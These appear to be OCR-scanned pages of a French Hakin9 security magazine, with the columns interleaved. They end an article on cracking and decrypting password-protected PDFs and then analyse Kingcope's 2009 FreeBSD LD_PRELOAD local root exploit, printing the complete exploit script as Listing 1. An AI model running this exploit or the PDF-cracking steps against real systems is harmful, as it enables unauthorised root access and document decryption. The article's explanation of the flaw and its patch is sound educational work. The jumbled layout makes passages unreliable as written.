Windows, permet de déprotéger un la précédente. Sur le CD joint à ce ma- Rainbow tables (pour les fonctions de
document, si aucun mot de passe gazine, une vidéo montre qu'avec un dic- hachages).
d'ouverture n'est attribué au document, tionnaire de 3.000.000 mots (20 Mo) et un
ou si ce mot de passe est connu. Le ordinateur moyen, l'attaque dure moins de Déchiffrement et suppression des
mot de passe d'utilisation étant incon- 3 minutes. limitations
nu. Une fois le mot de passe découvert, il est
donc simple d'ouvrir le document avec
Force-brute Autres types d'attaque Adobe Reader. Pour enregistrer le do-
L'attaque par force brute consiste à es- Le logiciel APDFPR permet d'effectuer cument dans une version non chiffrée,
sayer toutes les valeurs de mots de pas- des "Mask attack". Cela est possible nous pouvons utiliser l'outil pdfcrypt (http:
se possible en utilisant des caractères si certaines portions du mot de passe //www.rubypdf.com).
prédéfinis (cf. Figure 2). Evidemment, plus sont connues. Ces attaques fonction-
le mot de passe est long plus l'attaque nent comme la force brute, mais sur un pdfcrypt.exe encrypted_file.pdf
sera longue. Un mot de passe d'une di- champ de possibilités restreintes. Enfin, decrypted_file.pdf
zaine de caractères est suffisant contre ce même logiciel, dans są version En- decrypt password
ce genre d'attaque. APDFPR propose un treprise, permet l'utilisation de "Thunder
logiciel pour distribuer les attaques sur tables" (http://blog.crackpassword.com/ Cet outil permet également de modifier les
plusieurs machine, ne négligez donc pas 2009/05/thunder-tables) permettant permissions d'utilisation d'un document.
Une chaîne de 8 bits peut être ajoutée sur
Tableau 1. Le chiffrement dans les différentes versions d'Adobe Acrobat. la ligne de commande, chaque bit corres-
pondant à une permission particulière :
Version du format PDF Acrobat Re- Sécurité Sécurité par certificat
leases des mots AllowPrinting, AllowModifyContents, Allow-
de passe Copy, AllowModifyAnnotations, AllowFillIn,
AllowScreenReaders, AllowAssembly, Al-
1993 – PDF 1.0 Acrobat 1.0
lowDegradedPrinting. Par exemple, pour
1994 – PDF 1.1 Acrobat 2.0 40 bits - autoriser la copie et l'impression la chaîne
RC4
sera : 10100000.
1996 – PDF 1.2 Acrobat 3.0 40 bits -
RC4 Conclusion
1999 – PDF 1.3 Acrobat 4.0 40 bits - La sécurité des fichiers PDF a donc évolué
RC4 parallèlement à l'évolution des techniques
2001 – PDF 1.4 Acrobat 5.0 40 et 128 Certificats autosignés seu- d'attaques. Un document chiffré avec la
bits - RC4 lement dernière version du logiciel Adobe Acrobat
40 et 128 bits - RC4 aura une sécurité convenable dans la plu-
2003 – PDF 1.5 (nom de Acrobat 6.0 40 et 128 Certificats tiers et autosi- part des cas, pour peu que l'utilisateur at-
code : Brazil) bits - RC4 gnés tribue un mot de passe suffisamment long
40 et 128 bits - RC4 et complexe.
2005 – PDF 1.6 Acrobat 7.0 128 bits - Certificats tiers et autosi-
RC4 et AES gnés
128 bits - RC4 et AES
2006 – PDF 1.7 (ISO Acrobat 8.0 128 bits - Certificats tiers et autosi-
32000-1:2008) RC4 et AES gnés
128 bits - RC4 et AES
2008 – PDF 1.7, Adobe Ex- Acrobat 9.0 Ajout de 256 Ajout de 256 bits - AES
tension Level 3 bits - AES
(nom de code : Nova)
2008 – PDF 1.7, Adobe Ex- Acrobat 9.1 À propos de l'auteur
Auteur : Alexandre LACAN
tension Level 5 Pour le contacter : alexandre.lacan@gmail.com
http://twitter.com/lades51

74 HAKIN9 2/2010
TECHNIQUE
RÉMI LAURENT

FreeBSD Local
r00t exploit
Degré de difficulté

FreeBSD est considéré comme un des OS les plus sûrs donc,


quand une vulnérabilité touche le système et procure un accès root
depuis un compte utilisateur en local, nous ressentons l’irrésistible
envie de l’étudier ici.

F
reeBSD est certainement le système << EOF qui inclura alors tout le texte suivant
d’exploitation de la famille des BSD le plus cette ligne jusqu’à trouver un EOF (End Of File),
utilisé en tant que serveur. Sa philosophie permettant ainsi de créer et de compiler plusieurs
"The power to serve" consiste à apporter le programmes depuis un seul script Shell. À retenir,
maximum d’efficacité tout en gardant un haut cela pourrait servir un jour.
niveau de sécurité. Cependant ,Kingcope, Commençons donc par regarder le
auteur d’exploits qui, généralement, ne passent programme d’exploit. Il déclare un tableau
pas inaperçus, s’est penché sur cet OS et environ en externe qui permettra d’accéder à
a réussi à découvrir un exploit bien oldschool l’environnement SHELL et d'y ajouter la variable
permettant une escalade de privilèges pour LD_PRELOAD sur laquelle nous reviendrons.
devenir root. D’ailleurs, ce n’est pas le premier Ensuite, le programme exécute la commande
exploit du genre qu’il publie puisque cette année, ping, commande avec le bit SUID activé
il a déjà publié un remote exploit sur telnetd (voir comme le montre le Listing 2. Pour mémoire, le
l'encadré références 2) en utilisant également bit SUID permet d’exécuter une commande avec
LD_PRELOAD. les droits du propriétaire de cette commande.
Nous étudierons dans un premier temps le Ici, la commande ping pourra donc être lancée
principe de cet exploit puis verrons comment il par n’importe qui avec des droits root. Le
a pu exploiter une vulnérabilité dans le RTLD (Run- programme est ensuite compilé ( gcc env.c -
time Dynamic Loader) afin d’arriver à ses fins. o env).
Nous expliquerons également dans les grandes Intéressons-nous maintenant à la deuxième
lignes ce que permet la variable LD_PRELOAD et partie de l’exploit qui consiste à compiler une
verrons comment éviter ce genre de vulnérabilité librairie dynamique du même nom que la valeur
dans les applications. de LD_PRELOAD. Cette librairie possède une seule
CET ARTICLE fonction _init() qui remet la variable environ à
EXPLIQUE... Local r00t Exploit NULL puis exécute la commande echo et enchaîne
Ce qu’est LD_PRELOAD
Commençons donc par regarder l’exploit via le par le lancement d’un shell (system("echo ALEX-
L’exploitation d’une vulnérabilité Listing 1. ALEX;/bin/sh").Le programme est alors compilé
applicative
Ce script shell crée tout d’abord un en tant que librairie partagée et placé dans le
CE QU'IL FAUT programme qui servira d’exploit puis compile répertoire /tmp, souvent en droit d’écriture pour
SAVOIR... une librairie dynamique ( gcc -shared –Wl). tout le monde, afin de correspondre au chemin
Connaissances en C Nous remarquerons la possibilité de créer 2 donné à LD_PRELOAD. Enfin l’exploit est lancé par
Notions sur FreeBSD programmes par la commande cat > fichier ./env .

76 HAKIN9 2/2010
FREEBSD LOCAL R00T EXPLOIT

LD_PRELOAD root. Sauf que dans le cas présent, sera surchargée est la fonction _init(),
Pour comprendre réellement cet exploit, il c’est justement cette sécurité qui est fonction utilisée lors du lancement d’une
est nécessaire de comprendre ce qu’est bypassée et exploitée afin d’obtenir le librairie partagée et qui fait office de
LD_PRELOAD. Faisons ici un rappel non shell root tant convoité. constructeur comme le montre le Listing
exhaustif afin d’expliquer ce que permet 3. En exécutant l’exploit, nous constatons
cette variable. Pour plus d’information, BYPASS de la sécurité SUID qu'au lancement de la commande ping,
nous vous recommandons l’article publié Dans le cas qui nous intéresse, notre le LD_PRELOAD est chargé et un shell
par Hakin9 sur le sujet (voir l'encadré exploit, nous voyons que la fonction qui apparaît !
références 3).
Il y a 2 manières de compiler un
Listing 1. FreeBSD Local r00t Exploit
programme. La première consiste à
compiler en statique, c'est-à-dire que #!/bin/sh
echo ** FreeBSD local r00t zeroday
toutes les librairies seront directement
echo by Kingcope
compilées et incluses dans le echo November 2009
programme. La seconde méthode cat > env.c << _EOF
consiste à compiler en permettant de #include <stdio.h>

faire appel à des librairies dynamiques main() {


externes. extern char **environ;
L’intérêt de compiler en statique est environ = (char**)malloc(8096);

d’éviter les problèmes lors des mises à


environ[0] = (char*)malloc(1024);
jour d’une librairie. En effet, prenons pour environ[1] = (char*)malloc(1024);
exemple votre shell de connexion. Si vous strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
utilisez Bash compilé en dynamique
execl("/sbin/ping", "ping", 0);
et qu’une des librairies ne fonctionne
}
plus, vous serez bien embêté pour vous _EOF
logger sur votre système. L’inconvénient gcc env.c -o env
cat > program.c << _EOF
est l’espace disque utilisé car toutes les
librairies se retrouvent alors incluses #include <unistd.h>
pour chaque programme compilé #include <stdio.h>
en statique alors qu’en dynamique, la #include <sys/types.h>
#include <stdlib.h>
librairie est compilée une fois et les
différents programmes qui en ont besoin void _init() {
l’appelleront et l’utiliseront. extern char **environ;
LD_PRELOAD n’est utilisé que dans environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
le cas de compilation utilisant des }
librairies dynamiques. Comme son _EOF
nom l’indique, il consiste à charger une gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
librairie préalablement au lancement
cp w00t.so.1.0 /tmp/w00t.so.1.0
du programme et à l’intégrer à celui- ./env
ci. Cette variable est principalement
utilisée pour faire du debug et permet Listing 2. Le bit setuid de ping
de surcharger une fonction, modifiant (cloud /sbin) $ ls -l | grep ping
ainsi son comportement. Vous trouverez -r-sr-xr-x 1 root wheel 23872 May 2 2008 ping
plusieurs exemples d'utilisation de LD_ -r-sr-xr-x 1 root wheel 31196 May 2 2008 ping6
PRELOAD dans le précédent article cité
Listing 3. Existence de la fonction _init()
(voir l'encadré références 3).
Ce qui est important de savoir, (cloud ~) $ ldd prog
c’est que pour des raisons de sécurité prog:
libc.so.7 => /lib/libc.so.7 (0x2807d000)
évidentes, LD_PRELOAD ne doit pas (cloud ~) $ objdump -d prog
fonctionner sur des programmes où prog: file format elf32-i386-freebsd
le bit SUID est activé sinon, il suffirait Disassembly of section .init:
08048294 <_init>:
de faire un coup de GDB sur un
.....
programme SUID, de générer une
librairie surchargeant une fonction
du programme afin d’obtenir un shell

2/2010 HAKIN9 77
TECHNIQUE
Analyse de la vulnérabilité Rtld.c = !issetugid();) . Ensuite, comme
La première partie du code de Kingcope Ce code contrôle la gestion du l’indique le commentaire, si le processus
initialise LD_PRELOAD avec la valeur /tmp/ chargement des librairies dynamiques. appelé et contrôlé avec la variable trust
w00t.so.1.0. Celle-ci devrait être réinitialisée Il se trouve à l’emplacement /usr/src/ est setuid, alors la variable LD_PRELOAD
dans un comportement normal puisque libexec/rtld-elf/rtld.c . Seul ce qui nous est supprimée ( unsetenv(LD _
ping est setuid. Examinons cela en intéresse est dans le Listing 4. Nous "PRELOAD");). Jusque-là, il n'y a aucun
details, en étudiant la librairie qui gère LD_ voyons tout d’abord que le code contrôle problème dans la logique. Remontons
PRELOAD, rtld.c si le programme est setuid (trust un peu et voyons le code de la fonction
unsetenv() .

Listing 4. Fichier /usr/src/libexec/rtld-elf/rtld.c


Getenv.c
(cloud /usr/home/cloud) $ vim /usr/src/libexec/rtld-elf/rtld.c La fonction unsetenv() est déclarée
dans le fichier /usr/src/lib/libc/stdlib/
func_ptr_type
_rtld(Elf_Addr *sp, func_ptr_type *exit_proc, Obj_Entry **objp) getenv.c . Elle est décrite dans le Listing
{ 5. Cette fonction vérifie tout d’abord le
Elf_Auxinfo *aux_info[AT_COUNT]; nom de la variable LD_ . En effet, il existe
..........
trust = !issetugid();
plusieurs variables de la même famille
que LD_PRELOAD. Ensuite, comme nous
ld_bind_now = getenv(LD_ "BIND_NOW"); l’indique le commentaire, nous avons
/*
une initialisation de l’environnement par
* If the process is tainted, then we un-set the dangerous environment
* variables. The process will be marked as tainted until setuid(2) la condition utilisant la fonction _ _
* is called. If any child process calls setuid(2) we do not want any merge _ environ() . Si elle égale -1,
* future processes to honor the potentially un-safe variables. alors la fonction unsetenv() renverra -1
*/
if (!trust) {
également, ce qui doit être traité comme
unsetenv(LD_ "PRELOAD"); une erreur.
.............. Analysons donc maintenant la fonction
_ _ merge _ environ() (cf. Listing 6).
Listing 5. Fichier /usr/src/lib/libc/stdlib/getenv.c
Elle balaiera les valeurs de tout le tableau
/* d’environnement, appelé environ dans
* Unset variable with the same name by flagging it as inactive. No variable is l’exploit de Kingcope. Le point intéressant
* ever freed.
*/
se situe au niveau de cette condition :
int unsetenv(const char *name) if ((equals = strchr(*env, '='))
{ == NULL) { . Si une des variables
int envNdx;
d’environnement ne contient pas un "=",
size_t nameLen;
alors la fonction renvoie donc une erreur
/* Check for malformed name. */ (-1). Or, en regardant notre exploit dans le
if (name == NULL || (nameLen = __strleneq(name)) == 0) { Listing 1, nous constatons que Kingcope
errno = EINVAL;
a initialisé la variable environ[0] sans
return (-1);
} y attribuer de valeur( environ[0]
= (char*)malloc(1024);) et qu'elle ne
/* Initialize environment. */ contient donc pas de "=" : elle renvoie une
if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1))
return (-1);
erreur (-1).

/* Deactivate specified variable. */ La vulnérabilité ?


envNdx = envVarsTotal - 1;
Faisons maintenant le chemin inverse.
if (__findenv(name, nameLen, &envNdx, true) != NULL) {
envVars[envNdx].active = false; LD_PRELOAD vaut toujours /tmp/
if (envVars[envNdx].putenv) w00t.so.1.0, _ _ merge _ environ()
__remove_putenv(envNdx); renvoie -1 à la fonction unsetenv() qui
__rebuild_environ(envActive - 1);
elle-même retourne -1 … sauf que dans
}
le rtdl.c, le retour n’est pas contrôlé !
return (0); ( unsetenv(LD _ "PRELOAD");) Le
} comportement normal aurait été de
contrôler la valeur de retour puis de
générer une erreur et de ne pas continuer
l’exécution du programme ; excepté

78 HAKIN9 2/2010
Références
• (1) http://www.freebsd.org – site officiel de FreeBSD,
• (2) http://www.exploit-db.com/exploits/8055 – Telnetd Local Privilege Escalation Exploit,
• (3) http://hakin9.org/fr/magazine/article – Article H9 sur LD_PRELOAD,
• (4) http://security.freebsd.org/advisories/FreeBSD-SA-09:16.rtld.asc – Patch FreeBSD pour
cet exploit

Listing 6. Fonction __merge_environ()

/*
* If the program attempts to replace the array of environment variables
* (environ) environ or sets the first varible to NULL, then deactivate all
* variables and merge in the new list from environ.
*/

static int __merge_environ(void)


{
char **env;
char *equals;

.................
/*
* Insert new environ into existing, yet deactivated,
* environment array.
*/

origEnviron = environ;
if (origEnviron != NULL)
for (env = origEnviron; *env != NULL; env++) {
if ((equals = strchr(*env, '=')) == NULL) {
__env_warnx(CorruptEnvValueMsg, *env,
strlen(*env));
errno = EFAULT;
return (-1);
}
if (__setenv(*env, equals - *env, equals + 1,
1) == -1)
return (-1);
}
}

return (0);
}

qu'ici, comme aucun contrôle n’est fait, contrôle afin de se prémunir de ce genre
le LD_PRELOAD pointe toujours vers d’erreur. Fort heureusement, la team
notre librairie et permet donc de hooker sécurité de FreeBSD a rapidement réagi
le _ init() de ping lors de l’exécution en proposant un patch correctif (4).
de ce binaire setuid et de lancer le
shell /bin/sh .

Conclusion
Il est absolument nécessaire de toujours
contrôler la valeur de retour d’une
À propos de l'auteur
fonction pour des raisons évidentes Rémi LAURENT est ingénieur SSI dans le cabinet de
de sécurité que nous venons de conseil toulousain SCASSI Conseil. Passionné depuis
plus de 10 ans par la sécurité informatique et par le
démontrer ici. Il serait peut être bon que monde de l’Open Source dont principalement FreeBSD,
le compilateur prévienne le développeur il partage ses connaissances sur son blog : http://
blog.madpowah.org
par un Warning la présence d’un non Pour contacter l'auteur : cloud@madpowah.org
SecureIP Solutions
La sécurité de l’information est une chose importante pour les entreprises et même
pour les particuliers. C’est pourquoi SecureIP Solutions vous propose différents
produits et services pour protéger vos précieuses données tels qu’un service de
sauvegarde en ligne, les différents produits BitDefender et bien plus encore.
http://www.secureip.ca

NUMERANCE
NUMERANCE, Spécialisée dans la sécurité informatique, intervient auprès des
Petites et Moyennes Entreprises, en proposant des prestations d’audit, d’accompa-
gnement, et de formation.
http://www.numerance.fr

Hervé Schauer Consultants


Hervé Schauer Consultants : 17 ans d'expertise en Sécurité des Systèmes d'Infor-
mation Nos formations techniques en sécurité et ISO27001 sont proposées à Pa-
ris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf
Informations : formations@hsc.fr - +33 (0)141 409 704
Pour plus de renseignement : hakin9@hakin9.org

TippingPoint
TippingPoint est un leader mondial dans la prévention des intrusions réseaux
(Network IPS) de 50Mbps à 10Gigabits ainsi que la vérification d’intégrité de po-
ste et le contrôle d’accès du réseau (NAC).
Tél : 01 69 07 34 49, E-mail : francesales@tippingpoint.com
http://www.tippingpoint.com

Sysdream
Cabinet de conseil et centre de formation spécialisé en sécurité informatique. L’e-
xpérience c'est avant tout les recherches publiques, visant à améliorer la sécurité
des applications et des systèmes d’informations. Les résultats disponibles sur des
portails de recherche, dans la presse spécialisés.
http://www.sysdream.com

MICROCOMS
Microcoms est une société spécialisée dans les produits Microsoft qui a pour
vocation d'aider les particuliers, les TPE-PME et les professions libérales sur 6
axes principaux de l'informatique : Assister, Dépanner, Conseiller, Sécuriser, For-
mer, Maintenir.
Tél. : 01.45.36.05.81
e-mail : contact@microcoms.net
http://www.microcoms.net
Club .PRO

ALTOSPAM
Ne perdez plus de temps avec les spams et les virus. Sécurisez simplement vos
emails professionnels. ALTOSPAM est un logiciel externalisé de protection de la
messagerie électronique : anti-spam, anti-virus, anti-phishing, anti-scam...
Testez gratuitement notre service, mis en place en quelques minutes.
http://www.altospam.com OKTEY – 5, rue du Pic du Midi – 31150 GRATENTOUR
BULLETIN D’ABONNEMENT
Merci de remplir ce bon de commande et de nous
le retourner par fax : (+48) 22 244 24 59

comment se dèfendre
ou par courrier :

Software Press Sp. z o. o. SK


Bokserska 1, 02-682 Varsovie, Pologne
Tel. (00 33) 09.75.180.358
E-mail : abo_fr@software.com.pl

Prénom/Nom ........................................................................................

Entreprise .............................................................................................

Adresse .................................................................................................

................................................................................................................

Code postal ..........................................................................................

Ville ........................................................................................................

Téléphone .............................................................................................

Fax .........................................................................................................

Je souhaite recevoir l'abonnement à partir du numéro ....................

................................................................................................................

En cadeau je souhaite recevoir .......................................................

................................................................................................................

E-mail (indispensable pour envoyer la facture) ................................

................................................................................................................

PRIX D’ABONNEMENT
À HAKIN9 COMMENT SE DÉFENDRE : 35 €
Je règle par :
¨ Carte bancaire n° CB

¨¨¨¨ ¨¨¨¨ ¨¨¨¨ ¨¨¨¨


code CVC/CVV ¨¨¨¨

expire le _______________ date et signature obligatoires

Abonnez-vous type de carte (MasterCard/Visa/Diners Club/Polcard/ICB)

et recevez
un cadeau !
¨ Virement bancaire :
Nom banque :
Nordea Bank Polska S.A.
banque guichet numéro de compte clé
IBAN : PL 55 1440 1101 0000 0000 1018 8113
Adresse Swift (Code BIC) : NDEAPLP2
EN MAI 2010
Dans le prochain numéro
Toute l'actualité du prochain numéro sur le site www.hakin9.org/fr.

DOSSIER SUR LE CD
Comme toujours dans chaque numéro nouv vous proposons
Test de Pénetration hakin9.live avec la distribution BackTrack 4.
Des tutoriels vidéo pratiques afin de mieux comprendre les
méthodes offensives.

EN BREF
L`actualité du monde de la sécurité informatique et des ATTAQUE
systèmes d`information. Les nouvelles failles, les intrusions
web et les nouvelles applications. Découvrez l’article sur :

• Introduction au RFID
• Click Jacking.
• CISCO

Vous souhaitez collaborer a la rédaction des articles?


N`hésitez pas á nous contacter!
FR@HAKIN9.ORG

Ce numéro sera disponible en janvier.

La rédaction se réserve le droit de modifier le contenu de la revue.

Le bimestriel hakin9 est publié par Parc d’activités de Chesnes, 55 bd de la Noirée Abonnement (France métropolitaine, DOM/TOM) :
Software Press Sp. z o. o. SK BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER 1 an (soit 6 numéros) 35 €
CEDEX La rédaction fait tout son possible pour s’assurer
(c) 2009 Software Press Sp. z o. o. SK, tous les que les logiciels sont à jour, elle décline toute
Président de Software Press Sp. z o. o. SK: droits réservés responsabilité pour leur utilisation. Elle ne fournit
Paweł Marciniak pas de support technique lié à l’installation ou
Directrice de la publication: Ewa Lozowicka Béta-testeurs : Didier Sicchia, l’utilisation des logiciels enregistrés sur le CD-ROM.
Redacteur en chef: Aneta Mazur Pierre Louvet, Anthony Marchetti, Tous les logos et marques déposés sont la
Régis Senet, Paul Amar, Julien Smyczynski, propriété de leurs propriétaires respectifs.
aneta.mazur@hakin9.org
Gregory Vernon, Latorre Christophe, Timotée
Fabrication: Andrzej Kuca
Neullas Le CD-ROM joint au magazine a été testé avec
andrzej.kuca@software.com.pl
AntiVirenKit de la société G Data Software Sp. z o.o.
Les personnes intéressées par la
coopération sont invitées à nous contacter : AVERTISSEMENT
DTP : fr@hakin9.org Les techniques présentées dans les articles ne
Przemysław Banasiewicz
peuvent être utilisées qu’au sein des réseaux
Couverture : Agnieszka Marchocka Préparation du CD : Rafal Kwaśny internes.
Couverture CD : Przemyslaw Banasiewicz Imprimerie, photogravure :
Publicité : publicite@software.com.pl ArtDruk www.artdruk.com La rédaction du magazine n’est pas responsable
Abonnement : abo_fr@software.com.pl Adresse de correspondance : de l’utilisation incorrecte des techniques
Diffusion : Ilona Lepieszka Software Press Sp. z o. o. SK présentées.
Ilona.lepieszka@software.com.pl Bokserska 1, 02-682 Varsovie, Pologne
Dépôt légal : à parution Tél. +48 22 427 32 87, Fax. +48 22 244 24 59 L’utilisation des techniques présentées peut
ISSN : 1731-7037 www.hakin9.org provoquer la perte des données !
Distribution : MLP

82 HAKIN9 5/2008
La rédaction se réserve le droit de modifier le contenu de la revue